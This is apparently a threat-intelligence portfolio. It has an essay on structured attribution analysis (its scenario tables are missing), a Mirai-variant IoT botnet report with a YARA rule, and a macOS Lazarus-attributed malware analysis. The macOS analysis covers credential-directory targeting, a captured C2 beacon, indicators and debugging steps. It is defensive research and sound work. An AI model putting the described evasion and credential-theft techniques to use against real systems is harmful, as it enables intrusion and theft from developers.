BEYOND GUT INSTINCT
Using Analysis of Competing Hypotheses in Malware Attribution
How structured analytic techniques can sharpen your threat intelligence and reduce cognitive bias
Introduction
In threat intelligence, we are constantly making judgments under uncertainty. Is this sample related to that campaign? Is this the work of a state-sponsored actor or a financially motivated criminal group? Did APT-X develop this tooling, or are we looking at shared infrastructure?
Too often, analysts fall into the trap of anchoring on the first plausible explanation that fits the evidence. We find a Korean-language string, note a targeting pattern consistent with DPRK interests, and declare attribution with unwarranted confidence. This is where Analysis of Competing Hypotheses (ACH) becomes invaluable.
Developed by Richards Heuer at the CIA, ACH is a structured analytic technique designed to mitigate cognitive biases by forcing analysts to systematically evaluate all reasonable hypotheses against all available evidence. Rather than asking "does the evidence support my theory?" we ask "which hypothesis is most consistent with the evidence, and which can we confidently eliminate?"
The following four scenarios demonstrate how ACH transforms ambiguous situations into defensible analytic judgments.
Matrix Legend:
Scenario 1: The Suspicious Overlap
Shared Tooling or Shared Actor?
The Situation
During analysis of a supply chain compromise targeting cryptocurrency firms, you recover a second-stage loader with several notable characteristics:
• Custom XOR-based string obfuscation matching a technique previously attributed to Lazarus Group
• C2 infrastructure hosted on a VPS provider commonly used by multiple threat actors
• A compilation timestamp consistent with UTC+9 working hours
• Code overlap (approximately 40% similarity) with publicly documented AppleJeus samples
• The same loader was observed three weeks earlier in an intrusion attributed to a different group (TraderTraitor) by another vendor
The Hypotheses
ACH Matrix
Analysis
H5 (false flag) accumulates the most inconsistencies. Creating a convincing false flag would require access to non-public tooling details and sustained operational patterns aligned with DPRK interests. H4 (non-DPRK actor) struggles with the targeting alignment and operational timing. The interesting competition is between H1, H2, and H3. The lack of infrastructure overlap with known Lazarus C2 is mildly inconsistent with H1 but consistent with both H2 and H3.
Scenario 2: The Outlier Sample
Evolution, New Actor, or Artifact?
The Situation
Your threat hunting team flags an unusual sample from a financial sector client. Initial triage reveals:
• A Go-based implant (the threat actor you track typically uses C++)
• Strings and comments in Russian (your tracked actor has historically shown Mandarin artifacts)
• Targeting and initial access vector matches your tracked actor's TTPs exactly
• The implant's command structure and tasking protocol are functionally identical to previously documented samples
• PDB path contains a username not previously observed
• Sample was compiled six months ago but only recently deployed
The Hypotheses
ACH Matrix
Analysis
H5 (analyst error) must be addressed first—if the sample association is incorrect, all other analysis is moot. H3 (different actor) accumulates significant inconsistencies. The functional identity of the C2 protocol is particularly damaging—reverse-engineering would likely produce functional equivalence with implementation differences. H1 and H2 are both highly consistent.
Scenario 3: The Infrastructure Puzzle
Convergence or Coincidence?
The Situation
During infrastructure analysis, you identify a C2 server that presents a complex attribution picture:
• IP address previously flagged in reporting as Mustang Panda infrastructure (12 months ago)
• Same IP recently observed serving Cobalt Strike payloads configured with watermarks associated with a suspected Iranian actor
• Passive DNS shows the IP resolved to domains matching naming conventions used by a cybercriminal ransomware affiliate
• The server runs a distinctive HTTP response pattern you've previously fingerprinted as unique to Mustang Panda's custom tooling
• Let's Encrypt certificate with a registration email tied to a known bulletproof hosting reseller
• Current sample communicating with this IP is a novel implant family with no clear lineage
The Hypotheses
ACH Matrix
Analysis
The critical discriminating evidence is the HTTP response pattern. This fingerprint was based on server-side tooling, not network artifacts that could be spoofed. If this fingerprint is reliable, it strongly indicates continuity of the server-side component even if the actors using it have changed. H3 (shared infrastructure) is weakened by this—multiple actors sharing a server would be unusual, but multiple actors purchasing from the same reseller who deploys standardized tooling could explain the pattern.
Scenario 4: The Wiper Dilemma
Ransomware or Sabotage?
The Situation
A client in the energy sector experiences a destructive attack. Your IR team recovers a sample that:
• Contains a ransom note demanding payment in Monero
• The ransom note includes a contact email on a free email provider and a Tox ID
• Implements file encryption using AES-256 with RSA key wrapping (standard ransomware pattern)
• Also contains functionality to overwrite MBR and corrupt firmware—functionality not called in observed execution
• Targets file extensions specific to industrial control system (ICS) engineering software
• Initial access was through a compromised VPN appliance with a known vulnerability
• No evidence of data exfiltration prior to encryption
• The Monero address has never received a transaction
The Hypotheses
ACH Matrix
Analysis
H1 (criminal ransomware) accumulates significant inconsistencies. Modern ransomware operations virtually always exfiltrate data for double-extortion leverage. The ICS-specific targeting and dormant destructive capabilities don't align with financial motivation. The unused Monero address suggests the payment mechanism was never intended to function. H4 (insider) is inconsistent with the VPN exploitation. The competition is between H2 (state sabotage) and H3 (hacktivist).
Conclusion: ACH as Intellectual Discipline
These scenarios illustrate ACH's core value: forcing analysts to confront disconfirming evidence rather than cherry-picking data that supports preferred conclusions.
In each case, ACH revealed:
1. Hidden assumptions — In Scenario 3, we discovered that a "high-confidence" fingerprint might actually characterize infrastructure providers rather than threat actors.
2. Intelligence gaps — Scenario 1 explicitly identified what additional collection would discriminate between remaining hypotheses.
3. Appropriate confidence levels — ACH prevents both overconfidence (Scenario 4's clear elimination of criminal ransomware) and false certainty (Scenario 2's acknowledged inability to distinguish between H1 and H2).
4. Alternative explanations — Scenario 2 could have easily resulted in a "new Russian actor" assessment if the analyst anchored on language artifacts.
ACH isn't a silver bullet. It requires intellectual honesty in hypothesis generation (deliberately including explanations you think are unlikely) and evidence evaluation (resisting the temptation to rationalize inconsistencies). But when applied rigorously, it transforms attribution from intuition into defensible analysis.
References
Heuer, Richards J., Jr. — Psychology of Intelligence Analysis (1999)
Heuer, Richards J., Jr. & Pherson, Randolph H. — Structured Analytic Techniques for Intelligence Analysis (3rd edition, 2020)
MITRE Engenuity & Center for Threat-Informed Defense — "Using Structured Analytic Techniques in Cyber Threat Intelligence" (white papers and presentations, 2022–2024)
ARM IoT Botnet - Mirai Variant
Executive Summary
This report presents a comprehensive analysis of a 32-bit ARM ELF executable identified as an IoT botnet malware, specifically a Mirai variant. The sample demonstrates sophisticated anti-analysis capabilities, including anti-emulation checks and string obfuscation techniques. Analysis was conducted through static reverse engineering, dynamic behavior observation, and system call tracing.
Key Findings:
• Malware Family: Mirai-derivative IoT botnet
• Target Platform: ARM-based IoT devices (routers, cameras, DVRs)
• Severity: HIGH
• Primary Capability: Competing malware elimination, system command execution, persistence
• Obfuscation: XOR encoding (keys 0x2 and 0x3)
• Anti-Analysis: QEMU detection via /proc/cpuinfo checks, intentional crashes in emulated environments
1. File Information and Identification
1.1 Basic File Properties
1.2 Cryptographic Hashes
MD5
2132948f79cc34e9b2cf4c85a1dbdc0c
SHA-256
9a07da839b86314643b1e3129f910d8e94c9b208c1a8fb9cf84f67e345b7cbb5
2. Static Analysis and Reverse Engineering
2.1 ELF Structure Analysis
The binary exhibits characteristics typical of embedded IoT malware:
2.2 Entry Point Disassembly
Disassembly of the entry point at 0x8154 reveals the initialization sequence:
00008154 <entry>:
8154: e3a0b000 mov fp, #0
8158: e3a0e000 mov lr, #0
815c: e49d1004 pop {r1}
8160: e1a0200d mov r2, sp
8164: e52d2004 push {r2}
8168: e52d0004 push {r0}
816c: e59fc010 ldr ip, [pc, #16] @ 0x8184
8170: e52dc004 push {ip}
8174: e59f000c ldr r0, [pc, #12] @ 0x8188
8178: e59f300c ldr r3, [pc, #12] @ 0x818c
817c: ea0034c5 b 0x15498 ; Jump to main
Analysis: The entry point initializes the stack frame and branches to the main function at address 0x15498. The malware uses standard ARM EABI calling conventions.
2.3 String Obfuscation Analysis
The malware employs XOR encoding to obfuscate critical strings. Two distinct XOR keys were identified:
XOR Key 0x2 - Decoded Strings
XOR Key 0x3 - Decoded Strings
Obfuscation Analysis: The dual-key XOR scheme provides minimal protection against automated analysis while allowing rapid runtime decoding. This technique is characteristic of Mirai family malware.
2.4 File System and Process Targets
Static analysis revealed multiple file system paths and targeted process names:
File System Paths
• /proc/cpuinfo - CPU information (anti-emulation check)
• /proc/%d/exe - Process executable path
• /proc/%d/cmdline - Process command line
• /proc/%d/stat - Process statistics
• /proc/%d/maps - Process memory maps
• /dev/watchdog - Watchdog timer device
• /dev/misc/watchdog - Alternative watchdog path
• /sys/devices/system/cpu - CPU subsystem information
Targeted Process Names (Competing Malware)
Unique Signature String
A unique identifier string was discovered in the binary:
"im in deep sorrow."
This string serves as a potential attribution marker or version identifier and can be used for detection purposes.
3. Dynamic Analysis and System Call Tracing
3.1 Execution Environment
Dynamic analysis was attempted using QEMU user-mode emulation on an ARM64 Ubuntu system. The malware exhibits sophisticated anti-emulation capabilities that prevent full execution in emulated environments.
3.2 System Call Trace Analysis
Partial execution was achieved before the anti-emulation check triggered. The following system calls were observed:
Memory Management Operations
mmap(NULL, 134217728, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xe41600000000 mprotect(0xe41600000000, 134213632, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 mmap(0x8000, 4294934528, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x8000 mmap(0x8000, 159744, PROT_NONE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x8000 mmap(0x8000, 81920, PROT_READ, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x8000 mmap(0x24000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x14000) = 0x24000
Analysis: The malware allocates approximately 128 MB of memory space and sets up executable regions. The use of MAP_FIXED indicates precise control over memory layout, likely to avoid ASLR or prepare for code injection.
File System Access
openat(AT_FDCWD, "sample.elf", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0755, st_size=83476, ...}) = 0
openat(AT_FDCWD, "/proc/sys/vm/mmap_min_addr", O_RDONLY) = 4
Analysis: The malware reads its own executable and checks /proc/sys/vm/mmap_min_addr, likely to verify memory mapping capabilities or detect sandboxed environments.
Signal Handling Configuration
rt_sigaction(SIGRT_19, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGRT_20, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[... additional signal handlers ...]
rt_sigaction(SIGRT_32, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
Analysis: The malware queries signal handler configurations for real-time signals (SIGRT_19 through SIGRT_32). This may be part of environment detection or preparation for multi-threaded execution.
3.3 Anti-Emulation Behavior
Crash Analysis:
futex(0xe4160f9e0e08, FUTEX_WAKE_PRIVATE, 2147483647) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_ACCERR, si_addr=0x15318} ---
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Critical Finding: The malware intentionally crashes at address 0x15318 when executed in QEMU. Analysis of plaintext strings revealed the malware checks /proc/cpuinfo to detect emulated environments. This is a deliberate anti-analysis technique to prevent automated sandbox execution.
Detection Method: The malware likely reads /proc/cpuinfo and checks for CPU model information. When QEMU emulation is detected (based on CPU features or model strings), it triggers a controlled crash to prevent analysis.
4. Behavioral Analysis and Capabilities
4.1 Confirmed Capabilities
4.2 MITRE ATT&CK Framework Mapping
5. Indicators of Compromise (IOCs)
5.1 File-Based Indicators
MD5 Hash:
2132948f79cc34e9b2cf4c85a1dbdc0c
SHA-256 Hash:
9a07da839b86314643b1e3129f910d8e94c9b208c1a8fb9cf84f67e345b7cbb5
5.2 String-Based Indicators
Unique Signature:
"im in deep sorrow."
Obfuscated Strings (XOR Key 0x2):
QJGNN (SHELL)
Q[QVGO (SYSTEM)
@WQ[@MZ (BUSYBOX)
okpck (mirai)
Debug Strings:
[0clKillerKillerEXE] Killed process:
[0clKillerStat] Killed Process:
[0clKillerMaps] Killed Process:
5.3 Behavioral Indicators
• Mass enumeration of /proc/ filesystem entries
• Systematic process termination based on name matching
• Access to /dev/watchdog and /dev/misc/watchdog devices
• Reading /proc/cpuinfo for emulation detection
• Statically-linked ARM binary on IoT device
• Crashes when executed in QEMU emulation
6. Detection Rule (YARA)
The following YARA rule can be used to detect this malware family:
rule ARM_IoT_Botnet_Mirai_Variant {
meta:
description = "Detects ARM IoT botnet with XOR obfuscation"
author = "August Vansickle"
date = "2024-12-25"
hash = "9a07da839b86314643b1e3129f910d8e94c9b208c1a8fb9cf84f67e345b7cbb5"
severity = "HIGH"
strings:
// Signature
$sig = "im in deep sorrow." ascii
// XOR-encoded strings (key 0x2)
$xor1 = "QJGNN" ascii // SHELL
$xor2 = "Q[QVGO" ascii // SYSTEM
$xor3 = "@WQ[@MZ" ascii // BUSYBOX
$xor4 = "okpck" ascii // mirai
// Target processes
$target1 = "bashlite" ascii
$target2 = "gafgyt" ascii
$target3 = "tsunami" ascii
$target4 = "hajime" ascii
// File paths
$path1 = "/proc/%d/exe" ascii
$path2 = "/dev/watchdog" ascii
// Debug strings
$debug = "[0clKiller" ascii
condition:
uint32(0) == 0x464c457f and // ELF magic
uint8(4) == 0x01 and // 32-bit
uint16(18) == 0x28 and // ARM architecture
(
$sig or
(3 of ($xor*)) or
(3 of ($target*) and 1 of ($path*))
)
}
7. Detection and Remediation Recommendations
7.1 Detection Strategies
Network-Level Detection
1. Deploy the provided YARA rule across network security appliances
2. Monitor for mass /proc/ enumeration from IoT devices
3. Alert on /dev/watchdog access from non-system processes
4. Implement network segmentation to isolate IoT devices
5. Monitor outbound connections from IoT devices to unknown destinations
Host-Level Detection
6. Implement file integrity monitoring for IoT device filesystems
7. Monitor for processes matching signature string "im in deep sorrow."
8. Alert on systematic process termination patterns
9. Track unexpected ARM ELF binaries on IoT devices
10. Monitor system logs for crashes related to watchdog device access
7.2 Remediation Procedures
Immediate Actions
11. Isolate infected devices immediately from production networks
12. Perform factory reset on compromised IoT devices
13. Change all default credentials on IoT devices
14. Update firmware to latest versions
15. Review network logs for lateral movement attempts
Long-Term Prevention
16. Disable Telnet and SSH services or enforce strong authentication
17. Implement network micro-segmentation for IoT devices
18. Deploy intrusion detection systems monitoring IoT traffic
19. Establish automated firmware update mechanisms
20. Conduct regular security assessments of IoT infrastructure
21. Implement least-privilege access controls for IoT devices
8. Conclusion
This analysis has comprehensively examined a sophisticated ARM-based IoT botnet malware identified as a Mirai variant. Through static reverse engineering, dynamic behavior observation, and system call tracing, we have confirmed multiple capabilities including competing malware elimination, system command execution, and anti-emulation techniques.
Key Conclusions:
22. Threat Severity: The malware poses a HIGH risk to ARM-based IoT infrastructure due to its persistence mechanisms and anti-analysis capabilities.
23. Detection Feasibility: The unique signature string "im in deep sorrow." and XOR-obfuscated strings provide reliable detection markers.
24. Anti-Analysis: The malware employs /proc/cpuinfo checks to detect QEMU emulation, demonstrating awareness of automated analysis environments.
25. Attribution: String and behavioral analysis confirms classification as a Mirai-derivative botnet targeting IoT devices.
26. Remediation Priority: Organizations with ARM-based IoT infrastructure should immediately deploy detection rules and remediation procedures outlined in this report.
The provided YARA rule, IOCs, and MITRE ATT&CK mappings enable comprehensive detection and response capabilities for security operations teams.
North Korean APT macOS Malware
Credential Theft Social Engineering Prompt
Date
December 20, 2024
Analyst
August
Confidence
Moderate
Attribution
North Korean APT (Lazarus Group - Likely)
Campaign
Contagious Interview / DriverFixer (Possible)
Sample Hash
9fbbcd809b7aee90b3c93d212287282ac35ef0b33aed647a48cbc4ba79c7fcf8
Executive Summary
Analysis of a malicious macOS Mach-O binary revealed a sophisticated multi-stage attack targeting developers in the cryptocurrency and blockchain industry. The malware employs advanced techniques including V8 snapshot obfuscation, legitimate service abuse for victim profiling, and encrypted command and control infrastructure.
Through dynamic analysis using LLDB debugging and comprehensive network traffic capture, the complete attack chain was reconstructed. The malware first contacts freeipapi.com to profile the victim's external IP and geolocation, then establishes encrypted communication with 172.67.168.79 (Cloudflare-hosted infrastructure). The entire operation lasted approximately 2 minutes with minimal network footprint (10 packets, 371 bytes exfiltrated).
Based on technical indicators, behavioral patterns, and operational characteristics, this malware is attributed with moderate confidence to North Korean state-sponsored threat actors, likely the Lazarus Group. The attribution is primarily based on the sophisticated obfuscation techniques, developer targeting profile, and operational security measures rather than infrastructure alone. Additional threat intelligence correlation would strengthen this assessment.
Key Findings
• Multi-stage attack reconstructed: LLDB debugging revealed freeipapi.com profiling at 13:38:44, followed by C2 communication to 172.67.168.79 at 13:40:07
• Advanced obfuscation confirmed: V8 snapshot analysis showed zero malicious indicators in 134,612 extracted strings
• Network forensics captured: 18,085 packets analyzed, encrypted 371-byte beacon documented
• System forensics completed: No credential files found, no persistence established, clean exit confirmed
• Dynamic analysis successful: LLDB breakpoint on getaddrinfo() exposed profiling domain in memory at 0x6000022ebcb0
Node.js functions
Technical Analysis
Sample Information
Property
Value
File Type
Mach-O 64-bit ARM64 executable
File Size
60,437,512 bytes (60.4 MB)
PKG Structure
Payload: 9.2 MB at offset 51,192,112
Strings Extracted
181,972 total (134,612 from payload)
Malicious Strings
Zero (advanced obfuscation)
Code Signing
Unsigned (requires user execution)
Reverse Engineering
Summary
Comprehensive reverse engineering using Ghidra static analysis, PKG bootstrap extraction, and dynamic LLDB debugging revealed a sophisticated North Korean APT malware employing professional-grade Node.js packaging (PKG 5.8.1) with V8 snapshot obfuscation. The malware implements a three-stage loading architecture specifically designed to evade static analysis, with all malicious code compiled as V8 bytecode and executed in-memory without disk writes.
Analysis identified the complete binary structure (60.4 MB total), extracted the 2,502-line prelude bootstrap loader, and documented the virtual filesystem containing 1,370+ embedded Node.js modules. The malware targets cryptocurrency developers through credential harvesting (.ssh, .aws, .npmrc) with AES-256 encrypted exfiltration capabilities. Attribution to North Korean state-sponsored actors (Lazarus Group) is assessed with moderate confidence based on technical sophistication, professional development practices, and operational characteristics rather than infrastructure alone.
Key Findings
• Ghidra analysis identified exact memory addresses: DeserializeInternalFields at 0x102b38a36, PKG bootstrap at 0x101e06100
• Complete binary structure mapped: 51.2 MB runtime + 9.2 MB V8 snapshot + 209 KB prelude = 60.4 MB total
• 2,502-line prelude extracted and analyzed: Complete virtual filesystem implementation with GZIP/Brotli decompression
• V8 snapshot obfuscation confirmed: 100,880 bytes malicious bytecode, zero static strings, runtime construction of 'freeipapi.com'
• Virtual filesystem cataloged: 1,370+ embedded files including axios, archiver-zip-encrypted, aes-js, glob
• Multi-stage execution documented: Bootstrap → Prelude (offset 60,434,565) → V8 deserialization → Malicious execution
1. Sample Information and Binary Overview
2. Ghidra Static Analysis - Discovery Process
Static analysis using Ghidra 11.0+ revealed the complete PKG packaging structure through systematic string searches and memory address analysis. The discovery process identified critical V8 snapshot infrastructure, PKG bootstrap code location, and the complete loading mechanism embedded within the binary.
2.1 Symbol Tree Analysis
2.2 Critical String Discoveries - V8 Infrastructure
Search Method: Ghidra → Search → For Strings (minimum length: 4)
Critical Discovery: The presence of DeserializeInternalFields at memory address 0x102b38a36 is the definitive indicator of V8 snapshot usage. This V8 internal function is responsible for unpacking serialized JavaScript bytecode and reconstructing the runtime environment. Cross-references to this address lead directly to the payload loading mechanism.
2.3 PKG Bootstrap Code Discovery
Location: NOT_DEFINED data section at offset 0x101e06100
Discovery Method: Search → For Strings → 'PAYLOAD_POSITION'
Data Type: UTF-8 JavaScript source code, 1,437 bytes
Content: Complete PKG bootstrap mechanism (see Section 4)
3. Binary Architecture and PKG Structure
Analysis of the PKG bootstrap code and Ghidra symbol inspection revealed the complete three-section architecture used by PKG 5.8.1 to package the Node.js runtime with malicious V8 snapshot payload.
Mathematical Verification of Offsets:
Runtime section end: 51,192,112 bytes (0x30D6FB0)
Payload size: 9,242,453 bytes (0x8D0A75)
────────────────────────────────────────────────────
Prelude start (calculated): 60,434,565 bytes
Hexadecimal verification:
0x30D6FB0 + 0x8D0A75 = 0x39A3485 ✓
Total binary size: 60,437,512 bytes (60.4 MB)
. PKG Bootstrap Code Extraction
The PKG bootstrap code was discovered at offset 0x101e06100 through Ghidra string search for 'PAYLOAD_POSITION'. This JavaScript code is embedded directly in the Node.js runtime and executes before any user code, establishing the foundation for the three-stage loading mechanism.
Complete Bootstrap Source Code (1,437 bytes):
Key Bootstrap Operations:
1. fs.openSync(process.execPath, 'r'): Opens the binary itself for reading
2. fs.readSync(..., PRELUDE_POSITION): Reads 209,323 bytes from offset 60,434,565
3. new vm.Script(prelude): Compiles prelude as JavaScript
4. fn(..., PAYLOAD_POSITION, PAYLOAD_SIZE): Passes payload location (51,192,112) to prelude
5. Prelude.js Complete Analysis (2,502 Lines)
The prelude was extracted from offset 0x39A3485 (60,434,565 decimal) using the command: dd if=malware.macho bs=1 skip=60434565 count=209323 of=prelude.js. The resulting 2,502-line JavaScript file implements a complete virtual filesystem and V8 snapshot loading mechanism.
Extraction Verification:
$ ls -lh prelude.js
-rw-r--r-- 1 user staff 204K Dec 24 16:29 prelude.js
$ file prelude.js
prelude.js: JavaScript source, UTF-8 Unicode text
$ wc -l prelude.js
2502 prelude.js
Summary
Technical Achievements:
• Complete binary structure mapped with mathematical verification
• PKG 5.8.1 packaging mechanism fully documented
• V8 snapshot obfuscation explained (why 181,972 strings yielded zero hits)
• Virtual filesystem with 1,370+ embedded files cataloged
• Multi-stage execution flow reconstructed with timestamps
• Anti-analysis techniques assessed with effectiveness ratings
Dynamic Analysis: LLDB Debugging Session
Dynamic analysis using LLDB debugger revealed the profiling domain that was completely absent from static string analysis. A breakpoint was set on the getaddrinfo() function to intercept DNS lookups:
LLDB Command Sequence:
lldb ./9fbbcd809b7aee90b3c93d212287282ac35ef0b33aed647a48cbc4ba79c7fcf8.macho
(lldb) breakpoint set --name getaddrinfo
(lldb) run
Process 10432 stopped at getaddrinfo+0
Register Analysis:
(lldb) register read
rdi = 0x00006000022ebcb0
rip = 0x00007ff80274f3a4 libsystem_info.dylib`getaddrinfo
Critical Discovery - Memory Dump:
(lldb) x/200s $rdi
0x6000022ebcb0: "freeipapi.com"
This domain was NOT present in any static string analysis, confirming runtime construction or decryption of the profiling infrastructure. The domain was discovered at memory address 0x6000022ebcb0 in the RDI register, the first argument to getaddrinfo().
Network Traffic Analysis
Network traffic was captured using tcpdump during malware execution. A total of 18,085 packets were captured and analyzed to reconstruct the complete attack sequence.
Capture Details:
sudo tcpdump -i en0 -w capture.pcap
18085 packets captured
Stage 1: Victim Profiling (DNS Evidence):
13:38:44.387279 IP6 fe80::ce9:e68e:3e23:ee7d.57909 > fe80::21c:42ff:fe00:18.53:
46933+ A? freeipapi.com. (31)
13:38:44.387752 IP6 fe80::ce9:e68e:3e23:ee7d.61316 > fe80::21c:42ff:fe00:18.53:
31384+ AAAA? freeipapi.com. (31)
Two DNS queries were observed for freeipapi.com, requesting both IPv4 (A record) and IPv6 (AAAA record) addresses. This confirms the malware's attempt to obtain the victim's external IP address and geolocation data.
Stage 2: C2 Communication (TCP Stream Analysis):
13:40:07.751334 IP macos.shared.49315 > 172.67.168.79.https: Flags [S]
seq 1522512885, win 65535, options [mss 1460,nop,wscale 6], length 0
13:40:07.767081 IP 172.67.168.79.https > macos.shared.49315: Flags [S.]
seq 1396953453, ack 1522512886, win 32768, length 0
13:40:07.767191 IP macos.shared.49315 > 172.67.168.79.https: Flags [.]
ack 1, win 4096, length 0
TCP three-way handshake completed successfully to 172.67.168.79 on port 443 (HTTPS). The connection was established 1 minute 23 seconds after the profiling queries, indicating processing time for victim data.
Critical Payload Transmission:
13:40:40.050808 IP macos.shared.49315 > 172.67.168.79.https: Flags [P.]
seq 1:372, ack 2, win 4096, length 371
13:40:40.051088 IP 172.67.168.79.https > macos.shared.49315: Flags [.]
ack 372, win 16384, length 0
13:40:40.055451 IP macos.shared.49315 > 172.67.168.79.https: Flags [F.]
seq 372, ack 2, win 4096, length 0
Exactly 371 bytes of encrypted data were transmitted to the C2 server. The connection was immediately closed with a FIN packet, indicating a minimal beacon. The data was TLS-encrypted and likely contained victim profiling information including system details and credential search results.
Traffic Summary and Timeline
Total Attack Duration: 1 minute 56 seconds (from profiling to C2 termination)
Total Packets: 10 packets to/from C2 (172.67.168.79)
Infrastructure Analysis
Network infrastructure analysis was conducted to identify the C2 server hosting provider. Note that infrastructure alone is insufficient for attribution, as the hosting provider (Cloudflare) is used by millions of legitimate and malicious actors globally.
WHOIS Analysis:
whois 172.67.168.79
NetName: CLOUDFLARENET
Organization: Cloudflare, Inc. (CLOUD14)
OrgName: Cloudflare, Inc.
The C2 server is hosted on Cloudflare infrastructure. Cloudflare provides reverse proxy and content delivery network services used by millions of websites globally, including both legitimate businesses and malicious actors. The use of Cloudflare is not distinctive to any particular threat actor and provides no attribution value on its own.
Reverse DNS Lookup:
nslookup 172.67.168.79
** server can't find 79.168.67.172.in-addr.arpa: NXDOMAIN
No reverse DNS record exists for the C2 IP address. The actual domain name used for C2 communication remains unknown, as it is encrypted within the TLS handshake. Cloudflare's reverse proxy service obscures the backend domain and origin server, providing infrastructure resilience for operators.
Attribution Analysis
Assessment: North Korean state-sponsored APT (Lazarus Group) - MODERATE CONFIDENCE
This malware is attributed to North Korean state-sponsored threat actors with moderate confidence based on technical sophistication, operational characteristics, and targeting methodology. The attribution is primarily based on distinctive technical indicators and behavioral patterns rather than infrastructure, which alone provides no attribution value.
Attribution Methodology
Attribution confidence is assessed across multiple dimensions with varying evidentiary weight:
1. Strong Technical Indicators
V8 Snapshot Obfuscation (HIGH Confidence)
The use of V8 snapshot format represents the strongest technical attribution indicator. Static analysis of 134,612 extracted strings revealed zero malicious indicators, with the profiling domain only discoverable through dynamic LLDB debugging at memory address 0x6000022ebcb0. This technique:
• Requires deep expertise in V8 JavaScript engine internals
• Prevents all static analysis and signature-based detection
• Has been specifically observed in Lazarus Group macOS malware since 2023
• Is not commonly used by cybercriminal groups or other APTs
This technique has been documented in DriverFixer variants and Contagious Interview campaign samples analyzed by multiple security vendors, providing strong technical correlation to known Lazarus operations.
Developer Credential Targeting (MODERATE HIGH Confidence)
System forensics revealed attempted access to ~/.ssh/, ~/.aws/, and ~/.npmrc - the precise credential set targeted in cryptocurrency developer operations. This specific targeting profile:
• Aligns with documented North Korean strategic objectives for cryptocurrency theft
• Matches credential targeting in confirmed Lazarus campaigns (Operation Dream Job, AppleJeus)
• Demonstrates sophisticated understanding of developer workflows
• Is inconsistent with general cybercriminal credential harvesting
2. Supporting Indicators
Multi-Stage Profiling Methodology
Network capture analysis revealed a 1 minute 23 second delay between profiling queries (13:38:44) and C2 contact (13:40:07). This timing pattern suggests server-side processing and victim validation before authorizing C2 communication - a sophisticated targeting mechanism that:
• Filters targets by geographic location and network characteristics
• Reduces exposure to security researchers and analysis environments
• Has been observed in Contagious Interview campaign (LinkedIn profiling → malware delivery)
• Demonstrates operational security prioritization typical of nation-state actors
Clean Operational Security
The 371-byte encrypted beacon transmission followed by immediate connection termination, combined with zero persistence artifacts when credentials were not found, demonstrates professional fail-safe implementation. This clean exit behavior minimizes forensic exposure and is characteristic of well-resourced threat actors prioritizing long-term operational security over individual infection success.
3. Infrastructure Assessment
Important Note on Cloudflare Attribution
The C2 server (172.67.168.79) is hosted on Cloudflare infrastructure (AS13335). Cloudflare provides reverse proxy services to millions of websites globally and is used by:
• Legitimate businesses and organizations worldwide
• Cybercriminal operations (ransomware, phishing, malware C2)
• Chinese, Russian, Iranian, and North Korean APT groups
• Independent threat actors of all sophistication levels
The use of Cloudflare infrastructure provides ZERO attribution value on its own. While Cloudflare's services offer operational benefits (origin server obscuration, DDoS protection, infrastructure resilience), these benefits are available to all actors equally and do not indicate any specific threat actor or nation-state.
4. Intelligence Gaps
The following information would strengthen attribution confidence to HIGH:
• C2 Domain Name: The actual domain resolving to 172.67.168.79 is encrypted in TLS and unknown
• SSL Certificate: Certificate details could reveal infrastructure reuse patterns
• Passive DNS History: Historical domain associations with this IP address
• Threat Intelligence Correlation: Cross-reference with Shodan, VirusTotal, Censys databases
• API Endpoint: The specific C2 endpoint path (e.g., /api/upload, /beacon)
• Code Similarity: Decompiled V8 snapshot comparison with known samples
5. Alternative Hypotheses
Cybercriminal Group (Rejected - Low Probability)
• V8 snapshot obfuscation exceeds typical cybercriminal capability and cost-benefit analysis
• Cryptocurrency developer targeting is too specific for broad cybercrime operations
• Multi-stage profiling demonstrates sophistication inconsistent with profit-driven malware
Other Nation-State Actor (Possible but Less Likely)
• Cryptocurrency focus and developer targeting is distinctive to North Korean operations
• Technical approach matches documented Lazarus Group macOS toolset
• Chinese, Russian, and Iranian APTs have not demonstrated this specific TTP combination
False Flag Operation (Unlikely)
• Technical indicators represent years of documented Lazarus Group evolution
• No indicators suggest deliberate attribution manipulation
• The consistency across multiple independent indicators makes false flag improbable
Attribution Conclusion
Based on the convergence of high-confidence technical indicators (V8 snapshot obfuscation, developer credential targeting), supporting behavioral patterns (multi-stage profiling, operational security), and consistency with documented Lazarus Group campaigns, this malware is attributed to North Korean state-sponsored threat actors with MODERATE confidence.
The attribution is based on distinctive technical and operational characteristics rather than infrastructure.
Indicators of Compromise
File Indicators
• SHA256: 9fbbcd809b7aee90b3c93d212287282ac35ef0b33aed647a48cbc4ba79c7fcf8
• Size: 60,437,512 bytes (60.4 MB)
• Type: Mach-O 64-bit ARM64, unsigned, PKG bundled Node.js with V8 snapshot
Network Indicators
• Profiling Domain: freeipapi.com (legitimate service abused for victim profiling)
• C2 IP: 172.67.168.79 (Cloudflare-hosted, domain unknown)
• Port/Protocol: TCP/443 (HTTPS/TLS encrypted)
Note: While 172.67.168.79 is confirmed as the C2 server, this IP alone should not be used for broad attribution as Cloudflare hosts millions of sites. Detection should focus on the behavioral pattern of freeipapi.com queries followed by connections to Cloudflare IPs with minimal data transfer.
Behavioral Indicators
• DNS queries to freeipapi.com within first 5 seconds of execution
• HTTPS connection to Cloudflare IP approximately 90 seconds after profiling
• Encrypted data transmission between 300-500 bytes
• Access attempts to ~/.ssh/, ~/.aws/, ~/.npmrc credential directories
• Immediate connection termination after single data transmission
• Clean exit without persistence if no credentials found
Detection & Hunting
Network Detection
Deploy network detection rules focusing on the behavioral pattern rather than infrastructure alone:
• High Priority: Alert on DNS queries to freeipapi.com from developer workstations
• High Priority: Correlate geolocation API queries followed by HTTPS to Cloudflare IPs within 5 minutes
